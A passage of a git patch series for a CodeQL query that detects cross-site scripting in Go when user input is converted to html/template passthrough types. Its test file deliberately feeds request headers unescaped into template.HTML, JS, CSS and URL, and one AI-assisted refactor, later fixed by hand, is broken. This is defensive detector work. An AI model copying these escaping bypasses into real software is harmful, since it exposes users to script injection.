2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 12:22:00 +0100 Subject: [PATCH 004/271] Change query id to `go/html-template-escaping-bypass-xss` --- .../HTMLTemplateEscapingPassthrough.ql | 2 +- .../HTMLTemplateEscapingPassthrough.go | 36 +++++++++---------- 2 files changed, 19 insertions(+), 19 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index ff63f6bfbec..c7135f9eeea 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -4,7 +4,7 @@ * template, it may result in XSS. * @kind path-problem * @problem.severity warning - * @id go/html-template-escaping-passthrough + * @id go/html-template-escaping-bypass-xss * @tags security * experimental * external/cwe/cwe-079 diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go index dcadac92d28..50e318d956a 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go @@ -26,45 +26,45 @@ func bad(req *http.Request) { { { - var a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-passthrough] + var a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-bypass-xss] } { { var a template.HTML - a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-passthrough] + a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-bypass-xss] } { var a HTMLAlias - a = HTMLAlias(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-passthrough] + a = HTMLAlias(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-bypass-xss] } } } { - var c = template.HTMLAttr(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmplTag.Execute(os.Stdout, c)) // $ Alert[go/html-template-escaping-passthrough] + var c = template.HTMLAttr(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplTag.Execute(os.Stdout, c)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var d = template.JS(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmplScript.Execute(os.Stdout, d)) // $ Alert[go/html-template-escaping-passthrough] + var d = template.JS(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplScript.Execute(os.Stdout, d)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var e = template.JSStr(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmplScript.Execute(os.Stdout, e)) // $ Alert[go/html-template-escaping-passthrough] + var e = template.JSStr(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplScript.Execute(os.Stdout, e)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var b = template.CSS(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmpl.Execute(os.Stdout, b)) // $ Alert[go/html-template-escaping-passthrough] + var b = template.CSS(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, b)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var f = template.Srcset(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmplSrcset.Execute(os.Stdout, f)) // $ Alert[go/html-template-escaping-passthrough] + var f = template.Srcset(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplSrcset.Execute(os.Stdout, f)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var g = template.URL(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmpl.Execute(os.Stdout, g)) // $ Alert[go/html-template-escaping-passthrough] + var g = template.URL(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, g)) // $ Alert[go/html-template-escaping-bypass-xss] } } From ca85f0bf7f7f56eedb2d64fdd56b6aa53a23474e Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 12:26:23 +0100 Subject: [PATCH 005/271] Update query metadata --- .../CWE-079/HTMLTemplateEscapingPassthrough.ql | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index c7135f9eeea..9e1510e9797 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -1,13 +1,14 @@ /** - * @name HTML template escaping passthrough - * @description If a user-provided value is converted to a special type that avoids escaping when fed into a HTML - * template, it may result in XSS. + * @name HTML template escaping bypass cross-site scripting + * @description Converting user input to a special type that avoids escaping + * when fed into an HTML template allows for a cross-site + * scripting vulnerability. * @kind path-problem - * @problem.severity warning + * @problem.severity error * @id go/html-template-escaping-bypass-xss * @tags security - * experimental * external/cwe/cwe-079 + * external/cwe/cwe-116 */ import go From ce4be6d04c19cbf3aa233966a92ab1f87e78b139 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 12:36:22 +0100 Subject: [PATCH 006/271] Refactor to use flow state instead of 3 flow configs (copilot) --- .../HTMLTemplateEscapingPassthrough.ql | 156 ++++++------------ 1 file changed, 53 insertions(+), 103 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index 9e1510e9797..9a63ba75e2a 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -13,21 +13,6 @@ import go -/** - * Holds if the provided `untrusted` node flows into a conversion to a PassthroughType. - * The `targetType` parameter gets populated with the name of the PassthroughType, - * and `conversionSink` gets populated with the node where the conversion happens. - */ -predicate flowsFromUntrustedToConversion( - DataFlow::Node untrusted, PassthroughTypeName targetType, DataFlow::Node conversionSink -) { - exists(DataFlow::Node source | - UntrustedToPassthroughTypeConversionFlow::flow(source, conversionSink) and - source = untrusted and - UntrustedToPassthroughTypeConversionConfig::isSinkToPassthroughType(conversionSink, targetType) - ) -} - /** * A name of a type that will not be escaped when passed to * a `html/template` template. @@ -36,65 +21,6 @@ class PassthroughTypeName extends string { PassthroughTypeName() { this = ["HTML", "HTMLAttr", "JS", "JSStr", "CSS", "Srcset", "URL"] } } -module UntrustedToPassthroughTypeConversionConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { source instanceof ActiveThreatModelSource } - - additional predicate isSinkToPassthroughType(DataFlow::TypeCastNode sink, PassthroughTypeName name) { - exists(Type typ | - typ = sink.getResultType() and - typ.getUnderlyingType*().hasQualifiedName("html/template", name) - ) - } - - predicate isSink(DataFlow::Node sink) { isSinkToPassthroughType(sink, _) } - - predicate isBarrier(DataFlow::Node node) { - node instanceof SharedXss::Sanitizer or node.getType() instanceof NumericType - } -} - -/** - * Tracks taint flow for reasoning about when a `ActiveThreatModelSource` is - * converted into a special "passthrough" type which will not be escaped by the - * template generator; this allows the injection of arbitrary content (html, - * css, js) into the generated output of the templates. - */ -module UntrustedToPassthroughTypeConversionFlow = - TaintTracking::Global; - -/** - * Holds if the provided `conversion` node flows into the provided `execSink`. - */ -predicate flowsFromConversionToExec( - DataFlow::Node conversion, PassthroughTypeName targetType, DataFlow::Node execSink -) { - PassthroughTypeConversionToTemplateExecutionCallFlow::flow(conversion, execSink) and - PassthroughTypeConversionToTemplateExecutionCallConfig::isSourceConversionToPassthroughType(conversion, - targetType) -} - -module PassthroughTypeConversionToTemplateExecutionCallConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { isSourceConversionToPassthroughType(source, _) } - - additional predicate isSourceConversionToPassthroughType( - DataFlow::TypeCastNode source, PassthroughTypeName name - ) { - exists(Type typ | - typ = source.getResultType() and - typ.getUnderlyingType*().hasQualifiedName("html/template", name) - ) - } - - predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) } -} - -/** - * Tracks taint flow for reasoning about when the result of a conversion to a - * PassthroughType flows to a template execution call. - */ -module PassthroughTypeConversionToTemplateExecutionCallFlow = - TaintTracking::Global; - /** * Holds if the sink is a data value argument of a template execution call. */ @@ -109,46 +35,70 @@ predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) { ) } -module FromUntrustedToTemplateExecutionCallConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { source instanceof ActiveThreatModelSource } +/** + * Flow state for tracking whether a conversion to a passthrough type has occurred. + */ +class FlowState extends int { + FlowState() { this = 0 or this = 1 } - predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) } + predicate isBeforeConversion() { this = 0 } + + predicate isAfterConversion() { this = 1 } } /** - * Tracks taint flow from a `ActiveThreatModelSource` into a template executor - * call. + * Data flow configuration that tracks flows from untrusted sources (A) to template execution calls (C), + * and tracks whether a conversion to a passthrough type (B) has occurred. */ -module FromUntrustedToTemplateExecutionCallFlow = - TaintTracking::Global; +module UntrustedToTemplateExecWithConversionConfig implements DataFlow::ConfigSig { + predicate isSource(DataFlow::Node source, FlowState state) { + state.isBeforeConversion() and source instanceof ActiveThreatModelSource + } -import FromUntrustedToTemplateExecutionCallFlow::PathGraph + predicate isSink(DataFlow::Node sink, FlowState state) { + state.isAfterConversion() and isSinkToTemplateExec(sink, _) + } -/** - * Holds if the provided `untrusted` node flows into the provided `execSink`. - */ -predicate flowsFromUntrustedToExec( - FromUntrustedToTemplateExecutionCallFlow::PathNode untrusted, - FromUntrustedToTemplateExecutionCallFlow::PathNode execSink -) { - FromUntrustedToTemplateExecutionCallFlow::flowPath(untrusted, execSink) + predicate isBarrier(DataFlow::Node node, FlowState state) { + node instanceof SharedXss::Sanitizer or node.getType() instanceof NumericType + } + + /** + * When a conversion to a passthrough type is encountered, transition the flow state. + */ + predicate step(DataFlow::Node pred, FlowState predState, DataFlow::Node succ, FlowState succState) { + // If not yet converted, look for a conversion to a passthrough type + predState.isBeforeConversion() and + succState.isAfterConversion() and + pred = succ and + exists(Type typ, PassthroughTypeName name | + typ = pred.getType() and + typ.getUnderlyingType*().hasQualifiedName("html/template", name) + ) + or + // Otherwise, normal flow with unchanged state + predState = succState + } } +module UntrustedToTemplateExecWithConversionFlow = + DataFlow::PathGraph; + from - FromUntrustedToTemplateExecutionCallFlow::PathNode untrustedSource, - FromUntrustedToTemplateExecutionCallFlow::PathNode templateExecCall, - PassthroughTypeName targetTypeName, DataFlow::Node conversion + UntrustedToTemplateExecWithConversionFlow::PathNode untrustedSource, + UntrustedToTemplateExecWithConversionFlow::PathNode templateExecCall, DataFlow::Node conversion, + PassthroughTypeName targetTypeName where - // A = untrusted remote flow source - // B = conversion to PassthroughType - // C = template execution call - // Flows: - // A -> B - flowsFromUntrustedToConversion(untrustedSource.getNode(), targetTypeName, conversion) and - // B -> C - flowsFromConversionToExec(conversion, targetTypeName, templateExecCall.getNode()) and - // A -> C - flowsFromUntrustedToExec(untrustedSource, templateExecCall) + UntrustedToTemplateExecWithConversionFlow::flowPath(untrustedSource, templateExecCall) and + // Find the conversion node in the path + exists(int i | + i = templateExecCall.getPathIndex() - 1 and + conversion = templateExecCall.getPathNode(i).getNode() and + exists(Type typ | + typ = conversion.getType() and + typ.getUnderlyingType*().hasQualifiedName("html/template", targetTypeName) + ) + ) select templateExecCall.getNode(), untrustedSource, templateExecCall, "Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName, untrustedSource.getNode(), "untrusted source", conversion, "converted" From 4e5a865337d45ae1dba3021abb3741b666aafd11 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 16:14:48 +0100 Subject: [PATCH 007/271] Manually fix copilot's mistakes and get query working --- .../HTMLTemplateEscapingPassthrough.ql | 84 ++++++++++--------- .../HTMLTemplateEscapingPassthrough.expected | 63 +++++--------- 2 files changed, 64 insertions(+), 83 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index 9a63ba75e2a..9a73ebe159b 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -35,70 +35,76 @@ predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) { ) } -/** - * Flow state for tracking whether a conversion to a passthrough type has occurred. - */ -class FlowState extends int { - FlowState() { this = 0 or this = 1 } - - predicate isBeforeConversion() { this = 0 } - - predicate isAfterConversion() { this = 1 } -} - /** * Data flow configuration that tracks flows from untrusted sources (A) to template execution calls (C), * and tracks whether a conversion to a passthrough type (B) has occurred. */ -module UntrustedToTemplateExecWithConversionConfig implements DataFlow::ConfigSig { +module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateConfigSig { + private newtype TConversionState = + TUnconverted() or + TConverted(PassthroughTypeName x) + + /** + * Flow state for tracking whether a conversion to a passthrough type has occurred. + */ + class FlowState extends TConversionState { + predicate isBeforeConversion() { this instanceof TUnconverted } + + predicate isAfterConversion(PassthroughTypeName x) { this = TConverted(x) } + + /** Gets a textual representation of this element. */ + string toString() { + this.isBeforeConversion() and result = "Unconverted" + or + exists(PassthroughTypeName x | this.isAfterConversion(x) | + result = "Converted to template." + x + ) + } + } + predicate isSource(DataFlow::Node source, FlowState state) { state.isBeforeConversion() and source instanceof ActiveThreatModelSource } predicate isSink(DataFlow::Node sink, FlowState state) { - state.isAfterConversion() and isSinkToTemplateExec(sink, _) + state.isAfterConversion(_) and isSinkToTemplateExec(sink, _) } - predicate isBarrier(DataFlow::Node node, FlowState state) { - node instanceof SharedXss::Sanitizer or node.getType() instanceof NumericType + predicate isBarrier(DataFlow::Node node) { + node instanceof SharedXss::Sanitizer and not node instanceof SharedXss::HtmlTemplateSanitizer + or + node.getType() instanceof NumericType } /** * When a conversion to a passthrough type is encountered, transition the flow state. */ - predicate step(DataFlow::Node pred, FlowState predState, DataFlow::Node succ, FlowState succState) { - // If not yet converted, look for a conversion to a passthrough type - predState.isBeforeConversion() and - succState.isAfterConversion() and - pred = succ and - exists(Type typ, PassthroughTypeName name | - typ = pred.getType() and - typ.getUnderlyingType*().hasQualifiedName("html/template", name) + predicate isAdditionalFlowStep( + DataFlow::Node pred, FlowState predState, DataFlow::Node succ, FlowState succState + ) { + exists(ConversionExpr conversion, PassthroughTypeName name | + // If not yet converted, look for a conversion to a passthrough type + predState.isBeforeConversion() and + succState.isAfterConversion(name) and + succ.(DataFlow::TypeCastNode).getExpr() = conversion and + pred.asExpr() = conversion.getOperand() and + conversion.getType().getUnderlyingType*().hasQualifiedName("html/template", name) ) - or - // Otherwise, normal flow with unchanged state - predState = succState } } module UntrustedToTemplateExecWithConversionFlow = - DataFlow::PathGraph; + TaintTracking::GlobalWithState; + +import UntrustedToTemplateExecWithConversionFlow::PathGraph from UntrustedToTemplateExecWithConversionFlow::PathNode untrustedSource, - UntrustedToTemplateExecWithConversionFlow::PathNode templateExecCall, DataFlow::Node conversion, + UntrustedToTemplateExecWithConversionFlow::PathNode templateExecCall, PassthroughTypeName targetTypeName where UntrustedToTemplateExecWithConversionFlow::flowPath(untrustedSource, templateExecCall) and - // Find the conversion node in the path - exists(int i | - i = templateExecCall.getPathIndex() - 1 and - conversion = templateExecCall.getPathNode(i).getNode() and - exists(Type typ | - typ = conversion.getType() and - typ.getUnderlyingType*().hasQualifiedName("html/template", targetTypeName) - ) - ) + templateExecCall.getState().isAfterConversion(targetTypeName) select templateExecCall.getNode(), untrustedSource, templateExecCall, - "Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName, - untrustedSource.getNode(), "untrusted source", conversion, "converted" + "Data from an $@ will not be auto-escaped because it was converted to template." + targetTypeName, + untrustedSource.getNode(), "untrusted source" diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected index 8032c4eec22..7da7560567f 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected @@ -1,46 +1,34 @@ #select -| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | Data from an $@ will not be auto-escaped because it was $@ to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | Data from an $@ will not be auto-escaped because it was $@ to template.JS | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | Data from an $@ will not be auto-escaped because it was $@ to template.JSStr | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | Data from an $@ will not be auto-escaped because it was $@ to template.CSS | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | Data from an $@ will not be auto-escaped because it was $@ to template.Srcset | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was $@ to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | Data from an $@ will not be auto-escaped because it was converted to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | Data from an $@ will not be auto-escaped because it was converted to template.JS | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | Data from an $@ will not be auto-escaped because it was converted to template.JSStr | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | Data from an $@ will not be auto-escaped because it was converted to template.CSS | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | Data from an $@ will not be auto-escaped because it was converted to template.Srcset | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was converted to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | untrusted source | edges | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | provenance | | -| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | provenance | | -| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | provenance | | -| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | provenance | | -| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | provenance | | -| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | provenance | | -| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | provenance | Src:MaD:2 | -| HTMLTemplateEscapingPassthrough.go:75:17:75:31 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:76:38:76:44 | escaped | provenance | Src:MaD:2 | -| HTMLTemplateEscapingPassthrough.go:81:10:81:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:84:38:84:40 | src | provenance | Src:MaD:2 | -| HTMLTemplateEscapingPassthrough.go:89:10:89:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | provenance | Src:MaD:2 | -| HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | HTMLTemplateEscapingPassthrough.go:92:38:92:46 | converted | provenance | | -| HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | provenance | | -| HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | provenance | MaD:3 | -| ReflectedXssGood.go:15:15:15:20 | selection of Form | ReflectedXssGood.go:15:15:15:36 | call to Get | provenance | Src:MaD:1 MaD:4 | -| ReflectedXssGood.go:15:15:15:36 | call to Get | ReflectedXssGood.go:20:24:20:31 | username | provenance | | -| ReflectedXssGood.go:15:15:15:36 | call to Get | ReflectedXssGood.go:21:40:21:47 | username | provenance | | +| HTMLTemplateEscapingPassthrough.go:66:24:66:38 